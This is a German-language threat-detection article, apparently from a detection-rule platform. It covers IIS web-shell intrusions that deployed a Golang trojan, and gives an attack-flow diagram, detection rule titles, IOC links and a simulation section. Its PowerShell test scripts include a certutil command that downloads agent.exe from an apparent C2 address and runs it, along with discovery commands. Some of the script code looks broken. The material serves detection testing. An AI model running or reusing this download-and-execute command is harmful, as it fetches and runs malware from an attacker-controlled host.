Versuch, Fehler und Typos: Warum einige Malware-Angriffe nicht so „raffiniert“ sind, wie Sie denken
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Artikel beschreibt drei separate Vorfälle, bei denen ein Bedrohungsakteur kompromittierte IIS-Webserver nutzte, um einen auf Golang basierenden Trojaner (agent.exe) auf Opferendpunkten herunterzuladen und auszuführen. Die Angreifer versuchten wiederholt die Ausführung, nutzten certutil um Payloads zu holen und fügten später Windows Defender-Ausschlüsse hinzu, bevor sie versuchten, über einen Windows-Dienst Persistenz herzustellen. Die Erkennung erfolgte über EDR- und Sysmon-Protokolle, die Befehlszeilen, Prozessbäume und Netzwerkaktivitäten erfassten. Die Angriffe veranschaulichen, wie sich Gegner an Abwehrmaßnahmen anpassen, anstatt einem fehlerfreien Leitfaden zu folgen.
Untersuchung
Huntress-Analysten untersuchten Windows-Ereignisprotokolle, Sysmon-Ereignisse und IIS-Webserver-Protokolle, um die Angriffskette zu rekonstruieren. Sie identifizierten die anfängliche Web-Shell-Ausführung über w3wp.exe, beobachteten fehlerhafte Befehle, wiederholte Payload-Lieferungsversuche und die Erstellung eines Dienstes namens WindowsUpdate, der nicht gestartet werden konnte. Mehrere Indikatoren wie Dateipfade, Befehlszeilen und Netzwerkverbindungen wurden gesammelt und über die drei Vorfälle hinweg korreliert.
Minderung
Wichtige Minderungsschritte umfassen die Härtung von IIS-Servern, die Einschränkung der Ausführung von Web-Shells, die Durchsetzung strikter Anwendungs-Whitelistings, die Überwachung auf abnormalen Gebrauch von LOLBins wie certutil und PowerShell und die Sicherstellung, dass Windows Defender-Ausschlüsse nicht willkürlich erstellt werden. Eine schnelle Isolierung kompromittierter Hosts und die Entfernung abgelegter Tools wie GotoHTTP werden ebenfalls empfohlen.
Reaktion
Nach der Entdeckung sollten die Verantwortlichen den betroffenen Endpunkt isolieren, vollständige Prozess- und Netzwerkprotokolle sammeln, alle bösartigen Binärdateien löschen, unbefugte Windows Defender-Ausschlüsse zurücksetzen und Service-Erstellungsfehler überprüfen. Führen Sie eine gründliche Überprüfung des Webservers auf kompromittierte Seiten durch und wechseln Sie alle kompromittierten Anmeldedaten.
„graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[„<b>Aktion</b> – <b>T1505.004 Server-Software-Komponente: IIS-Komponenten</b><br/>Öffentlicher IIS-Webserver wurde ausgenutzt, Web-Shell über w3wp.exe bereitgestellt“] web_shell[„<b>Malware</b> – <b>Name</b>: Web Shell<br/><b>Datei</b>: login.aspx“] process_w3wp[„<b>Prozess</b> – <b>Name</b>: w3wp.exe<br/><b>Zweck</b>: Host-Webanwendung“] execution[„<b>Aktion</b> – <b>T1059.003 Windows-Befehlszeilenschnittstelle</b><br/>Befehle wie whoami, netstat, ipconfig ausgeführt“] powershell_exec[„<b>Werkzeug</b> – <b>Name</b>: PowerShell<br/><b>Technik</b>: T1059.001“] discovery[„<b>Aktion</b> – <b>Entdeckungstechniken</b>“] account_discovery[„<b>Technik</b> – <b>T1087.001 Lokales Konto</b><br/>Lokale Benutzerkonten aufgezählt“] group_discovery[„<b>Technik</b> – <b>T1069.001 Lokale Gruppen</b><br/>Mitgliedschaften in lokalen Gruppen aufgezählt“] network_conn_disc[„<b>Technik</b> – <b>T1049 Netzwerkscanning-Dienste</b><br/>Aktive Netzwerkverbindungen identifiziert“] internet_conn_disc[„<b>Technik</b> – <b>T1016.001 Internetverbindungsentdeckung</b><br/>Externe Konnektivität geprüft“] defense_evasion[„<b>Aktion</b> – <b>Verteidigungsumgehungstechniken</b>“] certutil[„<b>Werkzeug</b> – <b>Name</b>: certutil.exe<br/><b>Technik</b>: T1218 System Binary Proxy Execution“] hide_files[„<b>Technik</b> – <b>T1564.001 Artefakte verbergen: Versteckte Dateien und Verzeichnisse</b><br/>Verborgene und Systemeigenschaften gesetzt“] defender_exclusion[„<b>Technik</b> – <b>T1562 Verteidigungsbeeinträchtigung</b> und <b>T1564.012 Dateipfadausnahmen</b><br/>Windows Defender-Ausnahmen über PowerShell hinzugefügt“] lateral_transfer[„<b>Aktion</b> – <b>T1570 Lateraler Werkzeugtransfer</b><br/>Bösartige Binärdateien von externem Server kopiert“] malicious_binaries[„<b>Malware</b> – <b>Dateien</b>: agent.exe, 815.exe, dllhost.exe“] persistence[„<b>Aktion</b> – <b>T1546.010 Ereignisgesteuerte Ausführung: Windows-Dienst</b><br/>Dienst ‚WindowsUpdate‘ erstellt, der auf dllhost.exe verweist“] service_creation[„<b>Prozess</b> – <b>Name</b>: Windows-Dienst ‚WindowsUpdate'“] final_execution[„<b>Aktion</b> – <b>Endgültige Ausführung</b><br/>Dienst gestartet, Angreifer behält die Kontrolle“] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|verwendet| web_shell web_shell u002du002d>|läuft in| process_w3wp process_w3wp u002du002d>|ermöglicht| execution execution u002du002d>|verwendet| powershell_exec execution u002du002d>|führt zu| discovery discovery u002du002d>|beinhaltet| account_discovery discovery u002du002d>|beinhaltet| group_discovery discovery u002du002d>|beinhaltet| network_conn_disc discovery u002du002d>|beinhaltet| internet_conn_disc discovery u002du002d>|führt zu| defense_evasion defense_evasion u002du002d>|verwendet| certutil defense_evasion u002du002d>|wendet an| hide_files defense_evasion u002du002d>|wendet an| defender_exclusion defense_evasion u002du002d>|führt zu| lateral_transfer lateral_transfer u002du002d>|überträgt| malicious_binaries malicious_binaries u002du002d>|ermöglicht| persistence persistence u002du002d>|erstellt| service_creation service_creation u002du002d>|löst aus| final_execution „
Angriffsfluss
Erkennungen
Befehlszeilenausführung zur Verschleierung von Dateien (via cmdline)
Ansehen
Verdächtige ausführbare Datei mit ausschließlich Zahlen im Namen (via cmdline)
Ansehen
Verdächtige Änderungen an Windows Defender-Einstellungen (via PowerShell)
Ansehen
Verwendung von Certutil für Datenkodierung und Zertifikatsoperationen (via cmdline)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Ansehen
Verdächtige Ausführung aus dem öffentlichen Nutzerprofil (via process_creation)
Ansehen
IOCs (SourceIP) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
IOCs (HashSha256) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
IOCs (DestinationIP) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
Erkennung von bösartigen POST-Anfragen auf dem Webserver [Webserver]
Ansehen
Erkennung von Befehlszeilenausführungen aus dem Webserver-Prozess [Windows-Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrische & Basislinien-Vorab-Check muss bestanden sein.
Begründung: In diesem Abschnitt wird die genaue Ausführung der gegnerischen Technik (TTP) beschrieben, die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erklärungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.
-
Angriffsnarrativ & Befehle:
Ein Angreifer, der bereits Codeausführung auf einem kompromittierten IIS-Server erlangt hat, nutzt denw3wp.exe-Prozess (den IIS-Arbeiter), um eine Reihe von signierten Binär-Proxies auszuführen. Zuerst enumerieren sie das System- und Netzwerksystem (whoami.exe,netstat -an,ipconfig /all). Dann verwenden siecertutil.exeum eine bösartige Nutzlast (agent.exe) von einem entfernten C2-Server herunterzuladen und sofort im öffentlichen Benutzerverzeichnis auszuführen. Alle Befehle werden übercmd.exe /causgeführt, gestartet unter dem Kontext vonw3wp.exe, um sicherzustellen, dass das Ereignis zur Erstellung des Prozesses die Bedingungen der Regel erfüllt.# 1. System/Benutzerinformationen erfassen Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Bösartige Nutzlast über certutil herunterladen und ausführen $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Regressions-Testskript: Das untenstehende Skript automatisiert die gesamte Angriffskette und reproduziert die genaue Telemetrie, die die Sigma-Regel auslösen sollte.
<# .SYNOPSIS Simuliert gegnerische Aktivitäten, die die Sigma-Regel "Erkennung der Befehlszeilenausführung aus dem Webserver-Prozess" auslösen. .BESCHREIBUNG Führt eine Reihe von Discovery- und Download-und-Ausführen-Befehlen aus dem IIS-Arbeiterprozess (w3wp.exe) aus. Ausführen auf einem Windows-Host, bei dem die Prozessüberwachung (Ereignis-ID 4688) aktiviert ist. #> # Funktion zum Ausführen eines Befehls über w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Aufruf über w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Erkennungsbefehle (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Bösartiger Download-und-Ausführung (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Aufräumbefehle: Entfernen Sie die heruntergeladene Nutzlast und beenden Sie alle Fehlerprozesse.
# Löschen der bösartigen Agent-Binärdatei Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Optional: Agent beenden, wenn er noch läuft Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force